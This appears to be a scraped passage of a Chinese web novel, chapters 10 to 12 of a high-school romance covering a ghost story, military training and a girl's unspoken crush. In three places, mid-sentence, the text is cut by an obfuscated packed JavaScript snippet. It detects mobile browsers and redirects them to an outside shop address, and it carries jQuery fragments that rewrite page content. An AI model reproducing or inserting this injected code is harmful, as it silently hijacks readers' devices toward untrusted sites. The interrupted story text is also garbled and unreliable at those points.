吴诚气势汹汹往课桌夹层里一摸,掏出“罪证”,问:“这是你的手机,交上去那个是备用机?出息了啊白徐行,看来我得和你爸妈好好聊聊你的物理成绩了。”
“唉,别......”白徐行眼睁睁看着手机被带走。
吴诚:“你也站起来清醒一下。”
白徐行咬牙切齿冲着云祁对口型。
白酥雨费劲解读出来了,没忍住笑出了声。
“宵小竖子害我,甚贱乎!”
他还挺有文化的。
身边那人侧目捕捉到她难以克制的笑意,下巴扬起,认真看她:“笑什么笑?”
白酥雨摸着鼻尖:“啊,没有。我随便笑笑。”
“这么开心......”云祁转着笔,余光留意着吴诚那的动静,“东西找到了吗?”
她反应过来,云祁指的是mp3,可这是自己胡诌的借口。
白酥雨急于证明自己话中的真实性,说得磕巴:“是我记错了,就在抽屉......”
说一半,她刹住话,看到他戏谑的神情,慌乱涌上心头。偏偏这人还要添一把火,作势举起手,口型“老师”这两个字已经出来了。
吴诚正威风凛凛巡视了半个教室,眼锋正要往这边来,白酥雨的心被吊起来了,她立刻双手合十求饶,小眼神要多可怜就有多可怜。
云祁满意了,眉骨扬了扬,心想这同桌还挺有意思的。
吴诚那一眼终于扫到了窗口的白酥雨,他皱眉:“白酥雨,你这是在祈祷吗?”
真是头疼,今天班里的学生比往常难管太多,军训前夕一个个心都野了。
回答他的是云祁干净慵懒的声音,就像雨后的湖泊般宁静清冽。
“可能外面有流星吧。”
他这么说,本就心痒难耐的众人纷纷看向窗外。
夜空无云,没有流星,但明亮的星子在天边闪烁。
“真美呀。”
有人感叹,被压制的躁动终于连成一片。
“军训顺利!”
“祝我们开心!”
......
青春本是如此,在这个年纪一点即燃,轰轰烈烈不可休止。
10. 有鬼
【有关你的记忆,我都想封存。——《一朵雨的碎碎念》】
后半节课大家重心偏移,看星空的看星空,唠嗑的唠嗑,大概是看他们乐在其中,吴诚也不再强求所谓的纪律,只要不过分,他便对那些窸窸窣窣的声音置之不闻。
没人关注到白酥雨了,她如释重负。
啪嗒一声,云祁手里转着的笔摔回桌面。白酥雨的视线在他手指停顿,长指骨节突出,手背上的筋脉因为张开而微微突起。
刚才没注意到,他小指与无名指之间缠着医用胶布,两指被紧紧缠住。
这是受伤了吗?
回想傍晚训练赛的场面,白酥雨眉心拧起。
下课铃声响得毫无征兆,云祁那张开的手指上忽地覆上一只恶劣的手,以迅雷不及掩耳之势捏了胶布一下。
云祁抽痛,表情是难忍的疼痛。他骂了声,看清罪魁祸首想报复回去,白徐行早已闪身跳出两米外。
“大少爷打小报告的时候,怎么没想到现在的痛呀。”看他吃痛,白徐行心里爽了,“呦,指甲裂了吧。”
转眼云祁面上的痛已不见,冷哼一声以示不满。
白酥雨视线不自觉飘到他的指尖。都说十指连心,这种疼是不间断的,他……
抬眸撞上云祁的目光,她还怔怔然,才发现大家都在看她。
白徐行:“怎么样?”
“什么怎么样?”她是错过了什么?
白徐行:“思考那么认真我以为你听见了呢。”
金榆先坐不住了,压低声音:“明天军训,今天潇洒一波,我们点个外卖happy一下,白徐行请客。”
她的晚饭是小卖部买的,急匆匆就赶往球场,这一餐纯属糊弄。本来没感觉到饿的,听了这话胃里的空荡感就上来了。
确实忍不住想……吃些什么。
于是最后一节晚自修结束,大家迫不及待奔向宿舍之时,有四个身影反其道而行。
白酥雨一看就是初.犯,左顾右盼还强装镇定,绕过黑黢黢的实验楼,往学校后边的小道上穿过,这一片连路上的灯光都暗沉。
她看着四周想到了关键问题,踌躇问:“你的手机被交了,怎么点单呀。”
白徐行眉梢处带着得意,故弄玄虚道:“那我必然有办法。”
他耍宝似地撩起衣服下摆,从裤腰处抽出手机:“人不能同时拥有三个手机的话,真是一件遗憾的事,太没有安全感了。”
金榆看着他的动作,十分嫌弃:“你好变态。”
“我这是灵机一动,是绝顶聪明。如果我不藏起来,让南孚哥看见了保准收走,金大小姐你还有夜宵吃么?”
白酥雨关注点不在这儿,是学校的墙很高,墙面斑驳又坚厚,边上的铁丝网架得很高很密,从她的视角看去,连递外卖的空间都没有。
这真的……能行吗?
一阵熟悉的铃声传来,白酥雨忽感头皮发麻,看向摇头晃脑的白徐行。
“别看我只是一只羊~绿草因为我变得更香~”他哼完前奏才接起电话,“好的,麻烦你在外面等一下。”
他真是童心四溢又自娱自乐的一把好手。
白徐行空出手,朝着一脸淡然的云祁招手:“来,哥们上。”
“为什么不是你上?”
“因为你高高在上蒸蒸日上后来居上扶摇直上。”白徐行伸手给了支点,“成不成?”
呵。
只听得云祁轻哂,身影踩着白徐行的手一下就坐在了墙头,灵活极了。他弯下腰朝着墙外探手,白酥雨紧张兮兮看着,生怕他摔下来。
然而担心是多余的,云祁提着两大袋外卖给白徐行,利落从墙头跳下,轻盈落地,对他而言这么高的墙仿佛只是个摆设。
“给,麻辣香锅不加香菜。装包里,别让老师看见了。”白徐行递给金榆,“这袋四人份,可沉了,熄灯后再吃。”
金榆沉默了半晌,小声斥他,语气带着轻微的埋怨。
“说话就说话,凑这么近干嘛。”
“我说金大小姐,您真难伺候。”白徐行看着昏暗的长廊过道,话头一转,“不过你们听说么,关于学校的传说。”
“什么?”金榆抬眸。
“孤陋寡闻了吧。一中以前是个坟.场都不知道?”
他话落下的后一秒,白酥雨后背出了一层冷汗,夏天夜里的风是燥热的,此刻却像一只冰凉的手抚上她的脊骨。
白酥雨颤颤巍巍:“……怎么会呢?学校怎么会建在坟.场上面?”
“学校才更应该建在这种阴气重的地方。”
金榆一贯胆子大,都被他唬得步子放轻了。
“为什么呀?”
“因为思想先进能破一切封建迷信。”云祁的声音从后飘上来,“马列主义心中有,牛鬼蛇神慌什么?”
竟然是这个原因……
刚被他说得一身正气凛然,白徐行又开始了传说科普:“这里以前半夜三更是能听到哭声的。”
“阴气太重了,尤其是冬天的晚上,湿冷阴森的,整座学校就跟没有人一样。有一个男生胆子大,晚上跑到实验楼后面来探险。你猜怎么着?”
白酥雨紧紧盯着他:“什么?”
“一切如常,什么都没看见。雪突然下得很大,灯光下的四周是灰沉沉的。他看到有个穿着一中校服的女生手里拿着外卖,男生乐了,心想这女孩子胆子真大,大晚上的还敢点外卖。正这么想着,他听到了唱歌声,寒风吹来,男生鸡皮疙瘩都被吓起来了。女生也很害怕,男生保护欲也起来了,牵过女生的手就跑。”
白酥雨觉得吹在自己身上这阵风可太冷了,可好奇心驱使她继续听下去。
“但他发现不对劲了,看了眼脚下魂都吓没了——这么大的雪,只有他一个人的脚印。男生的手在抖,他的视线从脚下往后移,才发现女生的脚是飘在雪地上的。致命的是,他感觉到女生飘近了,在他耳边问,你……是不是牵错人了?”
她听不下去了,脚下跟抹了油似的,咚咚往前小跑。白徐行显摆劲还没过,追上来说:“还没讲完呢,男生听完后什么都顾不得了……”
啊!
白酥雨拽起金榆的手,吓得眼睫颤抖唇齿紧抿,脑子只有一个念头,赶紧回宿舍。
然而,场景就像鬼故事里那样,刮来一阵妖风,一盏路灯乍地熄灭,白酥雨咬牙加速跑。
心脏狂跳的节拍声中她的触觉开始清晰,手心有汗水渗出,因为急速运动而滚烫湿热,手中拽着的几根手指冰凉,有种不符常理的感觉。
她眉心猛跳,和鬼故事中的情节对应起来,后背全是凉津津的汗。
想要回头,却听到耳边飘来一句
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958752|136707||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“同学,你……是不是牵错人了。”
声音拖着阴沉的腔调,语速很慢,在夜里森森然。
啊——
她甩开手往前跑了几步差点没站稳,嘴里叽里咕噜念叨着什么。
“我们……的队伍像太阳…脚踏着…祖国的大地,背负着民族的…希望,我们是一支不可战胜的力量!”
整条道上的蝉鸣似乎停了一瞬,头顶的光被挡住,她瑟缩着安慰自己:
“富强民主文明和谐,自由平等公正法治,牛鬼蛇神不可信,我是唯物主义者。”
哒——
近乎静止的世界里响了一声。
清脆的响指声结束了她的神神叨叨,云祁收回手指,玩味道:“这位坚定的唯物主义者,你是真的牵错人了。”
什么?
脑中闪现一个不太美妙的设想,她怀着最后一丝希望看向十米外看戏状态的金榆和白徐行。
两人隔空给她竖了个大拇指。
所以……她牵着手就跑的对象是云祁?
啊啊啊啊——
还不如被鬼吓死呢。
想到自己又唱歌又背诵的糗样被某人近距离尽收眼底,白酥雨拍了拍脸颊,头快抬不起来了。
低头当鹌鹑的时间里,她的视线被云祁的胳膊吸引。
诶?是她看错了吗?
视线定格,她确定了云祁手臂上的是鸡皮疙瘩,和她手臂上的无疑是同一种。
所以云祁也怕鬼?只是,他表现得也过分淡定了。白酥雨因为发现的秘密而窃喜。
“抱歉。”她笑,“故事怪吓人的。”
云祁:“假的,白徐行编的。这只是个漏洞百出的故事,没什么好怕的。”
“哦。”
白酥雨扯了扯唇角,又悄悄压下去。
回了宿舍,她含恨吃了两个大鸡腿,似乎这样就能将她的糗事都咀嚼殆尽。
当晚,白酥雨做了个梦。
梦里不停歇跑了很多路,直到铃声响起,白酥雨辗转起身,迷蒙着眼睛看着宿舍里来来回回跑动的人。
“发什么呆,换衣服,军训第一天!”
金榆一声吼把她从梦里的疲惫感中拽了出来。
……
吃早餐时白酥雨才意识到军训是真正来临了,所在楼层几乎全是穿着迷彩服的学生。
食堂里堪称热火朝天,金榆捧着一碗海鲜粥,中途不忘多吃几个奶黄包。见白酥雨还不紧不慢地戳着面条,她忍不住催促:
“多吃点,待会儿军训起来能累死人,肚子很快就空了。你发什么呆,还在做梦呢?昨晚没睡好?”
“没睡好,做了一个噩梦,梦见被鬼追了一个晚上。”
金榆叹了声:“都怪白徐行,讲什么鬼故事,给你留下心理阴影了。”
她顿了顿,好奇问:“所以,梦里你被鬼追上了吗?”
“没有……梦里我没见到鬼。”
“那你还跑一晚上。”金榆匪夷所思,给她塞了个奶黄包。
白酥雨不说话了。
她该怎么说?其实,梦里还有某个人。
只是,最后的最后,他问:“为什么牵我的手?”
她看到他瞳孔中的自己,呼吸骤然收紧。
梦里的她不知哪来的勇气:“想牵就牵。”
11. 难过
【暗恋是一个人,一条路,只向北。——《一朵雨的碎碎念》】
食堂有空调,风口正对着她们,可白酥雨仿佛感受不到。夏天胃口欠佳,可为着军训又不得不吃点,奶黄包刚入口,食堂里响起了喧嚣声。
金榆随着众人的目光看向窗外,挥手招她来看。
白酥雨咬着包子往外,正看见穿着迷彩服的教官们整齐有素地经过,她笑:“这么激动做什么,等会儿不就见到了。”
“让我先看看哪个最帅,赶紧祈祷安排给我们......啊就这个......信女此生唯爱帅哥,求苍天赐予一个帅气教官,这样虐我也无悔,信女愿献上体重十斤为回馈......”
好烂的祈祷。
难怪上天不听。
当站在没有绿荫庇护的操场上,额前的帽子挡不住日光的热烈,金榆和教官的视线对上,内心暗叫三声救命,她的眼珠迅速移开。
本次军训以排为单位,男女分开,她们被分到了二营三连,隔壁二连的教官恰巧是金榆早晨看到的那个帅气教官。
而她们三连的教练是个硬汉,顶着一张不苟言笑的黑脸,训练起来很严格。
站姿稍有不正都是不行的,比如此刻,教官严厉的声音响起:“眼睛往哪瞟?眼神坚定看前方,做不到就加练。”
金榆不敢了,人中的汗流到了嘴巴里,她尝到了咸湿的味道。好在主席台方向传来了哨声,教官一声休息的令下,三连众人纷纷找水喝。
金榆:“我的天呐,这才几小时,我已经受够了。后面这么多天要怎么活?”
白酥雨仰头灌水,透明水杯很快见底了。她舔了舔唇角,有汗水的酸涩味,“流汗跟淌水一样,水根本就不够喝。”
金榆用手扇风,发现根本无济于事,“这也太热了,脸上的防晒霜都化了。”
白酥雨从绿色铁丝网前拿了防晒喷雾和防晒霜,丢给金榆:“能抹就抹,能喷就喷,晒伤就不好了。”
各个教室里的饮水机都搬了下来,这会儿已经在太阳底下已经晒成了温水。饮水机前排起了队,白酥雨拿上金榆的水杯去接水。
队伍前面的女生有几分眼熟,在训练时她就站在白酥雨右前方,麻花辫低低盘脑后,被帽子压在下面,怪好看的。
她的目光在发型上多停留了几秒,眼前的女生似有察觉,回过头来。
竟然是祝合禾。
“哈喽。”她转身大方打招呼,白皙的面庞在阳光下就像反着光,“白酥雨,听说过你的名字,语文老师给我们看过你的作文,很优秀。”
是进入互夸环节了吗?她还不太会这样的场面。
“是吗……你也很优秀,听白徐行同学提起过你。”
“除了他,还有吗?”
白酥雨不解:“啊?”
祝合禾神情微变,露出几分不好意思来:“我的意思是,云祁提起过我吗?”
先不论他们交集不深,云祁他……好像真没提起过这位传说中的青梅竹马。
她斟酌了说辞:“他在校时间不多,我们说话的时间有限,所以……”
她还没说完祝合禾就明白她的意思了,祝合禾:“他就这样,可能你们还不熟,所以不会讲这些。”
不知为什么,她觉得祝合禾像是舒了口气,整个人的状态都不同了。
接完水,她把水杯递给金榆,对方一脸苦大仇深盯着她:“她和你嘀咕什么呢?有什么好说的。”
“算是学习上的事。”
“她还真是管得多。”金榆了然笑,“不仅管云祁学习,这会儿连云祁的同桌都管上了。”
“也不算管吧,就随便聊几句。”
金榆打开防晒喷雾的盖子,从善如流掀开白酥雨的扣子,对着她的脖子处一顿喷:“你不知道吧,祝合禾成绩一直在年级前十,她很在意自己的成绩,而第一就是你同桌。”
白酥雨疑惑:“这能说明什么?”
“说明他们也是潜在的竞争对手呀。她那样要强的人,当然会打听云祁做了什么又是怎么学习的。”
“一起出去玩的话,一个存着探听心思的人在身边,能尽兴么?”
“还会有这样的想法吗?如果对方优秀,学习一些方法也是好的。”
“存在竞争意识这很正常,但是不能过,几乎每次碰面都明里暗里探听是不是过了。连白徐行那个二愣子都能感觉到,何况云祁呢?”
“每次月考成绩出来,起码有一个星期,她对云祁的态度会很微妙。”
金榆:“只不过他一个男生也懒得计较这些弯弯绕绕的。”
远处哨声传来,她们匆匆把东西放一边,在烈日下重新站好。
没一会儿两鬓的汗水沾湿了头发,黏黏的,很不舒服。白酥雨平视前方,看着认真实则眼神虚无,在硬汉教官走近时用力撑起眼皮,一副“教官我在认真训练”的样子。
她们这一块是静态式训练,而跑道对面的男生们已经开始齐步向前。
穿着一律的迷彩服,戴着一样的帽子,踏着整齐的脚步往这边走。
你不得不承认,即使穿着一样的衣服,某个人的存在感依然如此强烈。云祁个高身型优越,皮肤白皙五官俊挺,在人群中一眼看到的就是他。
一营一连过来时,尽管保持着站立不动的姿势,前排女生眼珠的偏移角度却是相同的。
直到一连经过,还来不及收回目光就听到教官的刻意严厉的声音。
“三连,好好训练,一个个眼神都飘哪里去了?”
“意志不坚,难驭外敌。”
全体眼神瞬间归位。
“教官我也不是不近人情的人,如果训练得好,我就让一连教官……”硬汉教官停顿了一下,“带着一连过来,下次休息的时候你们看个够好不好?”
“好!”不知是谁回了句,队伍里有几秒的嬉笑,不苟言笑的教官也被带动着笑了声。
哨声再次响起时,硬汉教官隔空对着一连教练比手势,于是一连拿了水齐刷刷跟了过来。
到了休息时间,大家都是就地而坐,如此大的动静,引起其他队伍的注视。大家松懈下来了,喝水的间隙里眼睛都盯着突来的动静。
一连教练吹了哨子,绷紧的弦松弛下来,男生们松松垮垮坐下,该喝水的喝水,说话的人不多,因为对面坐了很多女生,坐姿也不自觉酷起来。
换句话说,装起来了。
“这会儿光明正大看了,女生们不要羞涩啊,不要错过机会。”
之前怎么没发现教官还有这么善解人意的一面,他是如何绷着一张黑脸说出这种善良话的?
白酥雨抬了抬帽檐,目光飘向对面,云祁垂头看着地面,下半张脸露了出来,骨廓干净流畅,胳膊支在膝盖上,侧头听白徐行说话。
某一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12958753|136707||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瞬间,他抬起眼看了过来,漆黑的瞳孔里没带任何情绪色彩,只是寻常一眼,白酥雨在视线快相撞时转头和金榆说话。
“水杯好漂亮。”
金榆看了看地上的水杯,狐疑:“我的还是你的?”
白酥雨心不在焉:“你的呀,多漂亮。”
“有这么夸自己的吗?我的水杯不就是你买的。”
白酥雨应了声,一连教练从她们面前经过,笑着和她们教练提议:“晚上来拉歌?”
“来就来,三连女生多才多艺没在怕的。”
教官刚说完,听到砰地一声,有什么东西倒地。应声看去,一个女生扑倒在操场上。她的水杯没拧结实,水在周遭漫了开来。
白酥雨眼见着前排女生倒下,那盘在后脑的丸子头已经松散开,头发凌乱垂在地上。
是祝合禾!
来不及思考,白酥雨上前扶住她的上半身,用手掐她的人中。
一切都是凭着本能的反应,脑袋有点混沌,然后呢然后做什么?
恍惚间她听到金榆不可思议的声音:“天呐,她真的晕了,我那天随便说的。赶紧,赶紧去树荫下。”
对了,去阴凉的地方。
她支起祝合禾的身子,却听得耳畔急促的脚步声灌入,有人先她一步行动。她臂弯倏地一轻,眼前高大的黑影已经利索抱起女生纤弱的身体。
白酥雨仓皇起身,踉跄着找支点站稳,抬手握在云祁的手臂上。
手掌相触的地方,肌肉隆起,皮肤被阳光晒烫。
正想收手,少年急促的声音落下:
“让。”
短而冷漠。
白酥雨呼吸一滞,手臂因推力而落下,眼看着他抱着祝合禾跑开,全然不顾身后的起哄与议论。
心脏被蛰了下,传来奇怪的皱缩感。
教官在边上催促:“这位同学,你陪着一起去。”
这很正常的,她告诉自己。
只怨自己敏感的天性,又没有一颗自我开解的心。
暗恋就是这样啊,有什么奇怪。
她缓缓抬起头,叹气。
也许是看她没有动静,教官再次强调:
“这种情况需要一位女同学陪同,有谁愿意去?”
白酥雨回神:“我,我愿意。”
她朝着两人离开方向追去,夏风窒闷,她快要呼吸不了了。但她没停,仿佛身后有洪水猛兽,直到踏入医务室。
白酥雨甚至都不敢急促喘息,门没关,空调冷气很足,帘子被吹飘动,隐隐露出靠得极近的人影。
祝合禾以极其缺乏安全感的姿势闷在云祁的怀里,她的手臂圈得紧,啜泣声断断续续传来。
云祁没有挣开,他犹豫着伸出手,缓缓拍了拍她的肩。
那是白酥雨从未见过的云祁。
温柔的,克制的。
白酥雨转身,轻声合上门。
其实金榆有一句说得不对。如果祝合禾有什么让云祁不舒服的地方,他不想计较弯弯绕绕的心思仅占一小部分。
更多的,是他默许。
祝合禾于他而言是不同的,因此忍耐,因此忽视。
如果要问还喜欢他吗?她的答案是肯定的。
白酥雨安慰自己,这没什么可难受的。
暗恋本就是一个人,一条路,只向北。
心甘情愿,不问归程。
12. 秘密
【人生这首孤独颂歌,单看你怎么跳。白酥雨,愿你有开始的魄力和跳完的勇气。——《一朵雨的碎碎念》】
医务室里没有人,他把祝合禾放到床上,找到遥控板调低了空调的温度。
俯身想查看祝合禾的状态,原本躺在床上的少女忽地醒转,直扑到他怀里。
云祁吃了一惊,空荡的医务室里她带着哭腔的话尤为明显,他本能推拒的手兀地僵在半空。
“小航……”她啜泣着说,“我好像见到小航了。”
云祁漆深的眼中闪过痛色,胸膛起伏的弧度不自主增加,某些不愿忆起的片段再度飞入脑中。
胸口像有重石压着,他快喘不过气来。
祝合禾仍在继续:“我想他了。”
每个字都带着不能承受的分量,云祁快被击碎了。
僵硬的手微微颤抖,背后的空调风争先恐后涌来,浑身像是坠入冰窖。
良久,像是想到了什么,他紧绷的脸上露出一丝温和,手掌终于落下,轻轻拍了拍祝合禾的肩头。
祝合禾的啜泣渐弱。
门不知何时关了,外头的说话声倏地响起,两人看向外头,顺势分开。
几乎是同时,门被推开,校医惊讶地问:“是哪里不舒服?”
云祁:“她中暑了。”
校医到床边查看,细心询问祝合禾的情况。
云祁心里泄了口气,视线移到门外,看到迷彩裤的一角,他迈腿跟去。
本以为是白徐行,等少女惊诧的表情猝不及防撞入视线,他迅速收回本想搭肩的手。
“你怎么在?”
出于惊讶他问得快,没有思考就蹦出话来,因此没有留意到语气中的质问太生硬了。
白酥雨挪开视线,说话的调子淡淡的,并无丝毫起伏:“教官觉得需要一位女同学陪同来医务室。”
言下之意,她是为了完成任务才在这里的。
“我和校医姐姐一起过来的。”手指因为撒谎而拽紧了衣角,白酥雨声音愈轻,“我可以进去看看吗?”
云祁站在门正中间,她如果想进去不可避免会碰到他的身体。意识到这点,云祁往前让出空间。
她一步步踏入往病床走去,汗水被风吹凉,白酥雨站定。
祝合禾正喝水,看到她露出几分讶异的神色:“白酥雨同学,你怎么来啦?”
白酥雨笑了下,没有接她的话:“今天晚上还有活动,祝同学,教官那里我可以帮忙去说一下。你……好好休息一下吧。”
“谢谢,你真好。”
她自觉不好再待,说完便离开了。经过云祁时,两人各自点头示意,她先是快步走,而后跑起来。
热风刮过耳畔,她跑过大半个学校,气喘吁吁却不觉得累,和教官讲明了情况重新回到队伍里。
待下一次哨声响起时,各排按照顺序前往食堂。
“解散——”
教官一声令下,队伍“各奔东西”,有饥肠辘辘奔向食堂的,也有因天气吃不下饭转战小卖部的。
白酥雨和金榆就是后者。
饮料是首选,汽水是标配。
她拎起两瓶桃子汽水结账,在午餐上两人达成共识,拿宿舍的零食填肚子。
“她还好吗?”
“中暑了,需要休息。”
金榆苦闷:“我那天就和白徐行逗逗嘴,没想到她真会晕,我的嘴巴是什么神秘力量吗?我不敢说话了。”
“巧合而已,和你有什么关系。”
“云祁在?”
“嗯。毕竟他们俩熟,陪着也能……理解吧。”她不太确定地看向金榆。
“合情合理。我们也抱不了她,云祁确实是最佳人选来着。”金榆表情微妙,告诉了她,“但毕竟在大庭广众之下,一男一女,即使是救助为目的,也会有一些揣测的。”
她们上到二楼,抬脚拐入寝室。
“当时是休息时间,你们走之后,大家可八卦了。”
白酥雨脑中浮现出医务室里的场景,她擦了擦鬓角的汗,没作声,从柜子里取出一袋零食,选了几种放在口袋里。
她们回教室吃“午餐”。
下午祝合禾没来,她被家人带走了还请了两天假。听到消息的白酥雨正在宿舍洗衣服,白色的泡沫溅到了衣角,她有些膈应,这是刚换的衣服。
抬起手肘擦掉白色泡泡,白酥雨继续揉搓刚换下的衣物,玻璃门被一把移开,室友叶晨抱着一桶换洗衣物出来,喊着:
“小雨,有电话找。”
这个时间点,会是谁?
电话那端电流声作响,她握紧听筒:“喂?”
“雨雨,军训是不是13号结束?”
“是的。”
“那12号你生日就得在学校了,那妈妈13号回来接你,我们把生日补上好不好?咱们娘俩好久没单独出去了,到时候我们去买一些漂亮衣服。你到新学校了,妈妈也该来看看了。”陈舒芳的声音变得越发温柔,白酥雨眼眶莫名湿了。
到时候离中秋节就近了,正是团圆的日子。
“好。”她揉了揉眼眶,“拉勾。”
晾完衣服后,天色变了,天空仿佛一幅灰蓝色与玫瑰色融合的油画,暗灰调里透出酝酿生机的橘粉色。
晚间的风吹来,白酥雨和几个室友趴在阳台看着天边,沉溺在暮色的温柔之中。
十六七岁的年纪,正是藏不住心事的年纪。她们一边对着晚霞挥手,倾诉。
“虽然军训好累,能和大家一起看到晚霞,我觉得值得了。”
“昨天的星星和今天的晚霞都预示着好事会发生。”
“叶晨物化生月考要加油。”
“晨晨这时候还想着考试呢,太卷了!”
“军训加油,高二万岁!”
轮到白酥雨了,她想了想说:“如果可以,我希望时间能够停在这一刻。”
新学校很好,军训一天的疲累被洗扫而净,接到了妈妈的电话,和室友们一起见到了超美的晚霞。
满足了。
她正这么想,两栋寝室楼之间传来追赶声,几个男生笑闹推搡着往前。
是三班的。
白酥雨一眼就找到了那人,他一手搭在同学肩上,另一手提着一罐汽水,食指勾住拉环稍用力,汽水溅了出来。
仰头喝汽水的时候,晚风吹起他蓬松的头发,星眸挺鼻,红唇微张的样子特别动人。
某一个瞬间,他朝着这边看来。
本以为只是匆匆掠过,他却抬手挥了挥。同行的男生见了,目光纷纷而至,也挥手示意。
“二营三连的,晚上拉歌能行吗?”有男生喊话。
金榆上身微微探出,正挥着手。听到这话热情熄了大半,她放下狠话:
“呵。”
“拉爆你们!”
“哇,这么狠?”
楼下男生起哄,路人也加入闹腾。
晚霞之下,万物美好。
心满意足。
-
暮色散去,夜幕降临,淮川一中操场热闹非凡。跑道边上的LED高杆灯将整个操场映亮,军歌不绝于耳。
中场休息时间里。
二营三连和一营一连相对而坐,互不服输。
金榆捂着喉咙:“不来了不来了,明天嗓子要坏了。”
白酥雨递水过去,余光里教官和一连教官相谈甚欢,时不时向自己连队投来赞许目光。白酥雨:“下面应该是自由环节了,你看咱教官已经满意了。”
硬汉教练在训练时间一丝不苟、不容出错,谁能想到下训是这样的。
那天表演的人很多,音响话筒等装备齐全,舞台效果在LED灯光下发挥到极致。当时惊叹的有很多,白酥雨记在心里的却是孤独颂歌,一段很短的舞蹈。
临近散场,忽地响起掌声,男生那说是有人要跳国标舞,白酥雨往对面阵营看了又看,迟迟不见有人出来。
直到对面教官点名:“云祁,谁是云祁?室友推荐你就不要扭扭捏捏了。”
她们连的教练见机行事,团结大家一起喊:“时间(宝贵),要来(干脆),要你来你就来(扭扭捏捏下不了台)!”(1)
他站了起来,背光而立,看不清五官,只见瘦高的身型轮廓,站得随意而气质出尘。
口哨声和鼓掌声渐强,白酥雨听不到这些了,眼睛里只有那人。
他摘下帽子给旁边的人,踏步走向那位正心虚移动位置的室友,扯了胳膊一把拽了出来。
正经凛然地向教官提议:“报告教官!我室友从小就学,舞姿动人,我提议双人来一段。”
白酥雨暗笑。这个做法……是他没错了。
轻松摇曳的音乐响起,前一秒还情绪幽冷的云祁像是换了个人,前进走步契合着音乐,手部动作顺畅,和白徐行最后一个扭身的动作高度统一。
灯光像是银色的头彩,落在他们的身上,令人挪不开视线。这一组合过于亮眼,节目很短,气氛却在最后一个动作到达高.潮。
云祁没有停留迅速回队,拿了帽子盖在脸上,不声不响地听着周遭的喝彩。
动作
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12958754|136707||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是雅痞的,态度是恣意的,感觉是自由的。
白酥雨在心里点评。
是她向往的,而不能拥有的。
-
连续四天军训都在艳阳之下,防晒喷雾用完了两瓶,皮肤仍架不住紫外线的焦灼,白酥雨有些轻微晒伤。
近期每天睡前都会敷补水面膜,脸上的刺痛感没有消停,她的皮肤比较敏感,两颊开始出现淡粉色的印子。
吃完中饭后撑伞回教室,路上的广播在一声尖刺的噪音后传来一道熟悉的声音,白酥雨看了眼那年久的广播,脚步不由放慢。
“亲爱的同学们大家好,欢迎大家收听广播站的每日好句栏目。我是播音员金榆。”
“经几日的征集,广播站收到了很多热心的投稿,让我们一起来听一听这些对于投稿人来说意义非凡的句子吧。”
她聚精会神地听着,错过身后唤她的声音,直到肩膀一沉,白酥雨回头,目光一怔:“……陈沂川?”
“躲着我?”他毫不避讳,直切主题。
没想到他隔着伞也能认出她。
陈沂川是白酥雨在梧桑初中的同学,同班过一段时间。如他所说,白酥雨确实有在规避与他接触。
她叹气:“你找我没用。”
“我目前唯一的方法就是你。”少年温和的脸庞不带任何情绪,没有半分求人的窘迫,“我想见她。”
“那你就自己去说。”
“联系不到。”
白酥雨:“那和我也没有关系,我也没办法。”
陈沂川正想说什么,前方教学楼的广播里提到了云祁的名字,眼前的女生忽地往前小跑着几步,他跟上去,被比了噤声的手势。
“接下来是高二三班云祁同学的来稿,他分享的句子出自赫尔曼·黑塞的小说《克林索尔的最后夏天》。”
“世界越来越美了,我独自一人,却很自在。我别无所求,只想被阳光晒透。”
这本书……就是云祁在书店里选的那本。
他没有买,那天他走之后,白酥雨买下带回了家。
只是她不明白,为什么是这句?
其他人的稿子里会附上几句简单的感悟,可云祁的没有。
书她读过两遍,对这句话的印象很浅,记忆中后面还有一句,但她始终想不起来。
广播里很快念到了其他人的分享,白酥雨回头看了一眼陈沂川,他的眼神很奇怪,琥珀色的瞳孔里蕴含着复杂的情感。
“不要再跟着我了,那是你们俩的事,我帮不了忙。”离班级近了,她停了下来。
“白酥雨,起码不能像现在这样,不明不白。”陈沂川略微丧气,“就当我以同学之名求你。”
印象里陈沂川从没这样对谁这般低声下气,除了对她的表姐陈荔。感情里的下位者,骄傲如他,也会低头。
“……好,军训结束我问问她,一切看她意愿。”白酥雨趁机拉开距离,转身往教室走。
正午阳光正好,光线刺得她眼前一晕。
迎面撞见了云祁和白徐行,两人目光在白酥雨身上一顿,越过她落在陈沂川身上。
他们刚刚交谈的姿态明显是认识很久了。
云祁略思索,视线隔空撞上,接收到陈沂川不耐烦的情绪,脑中某个细节被唤醒。
白酥雨练习本上满满一页的字母C……是陈沂川?
这个念头一起,云祁像是窥探到了别人的隐私,自疚感盈满心头。
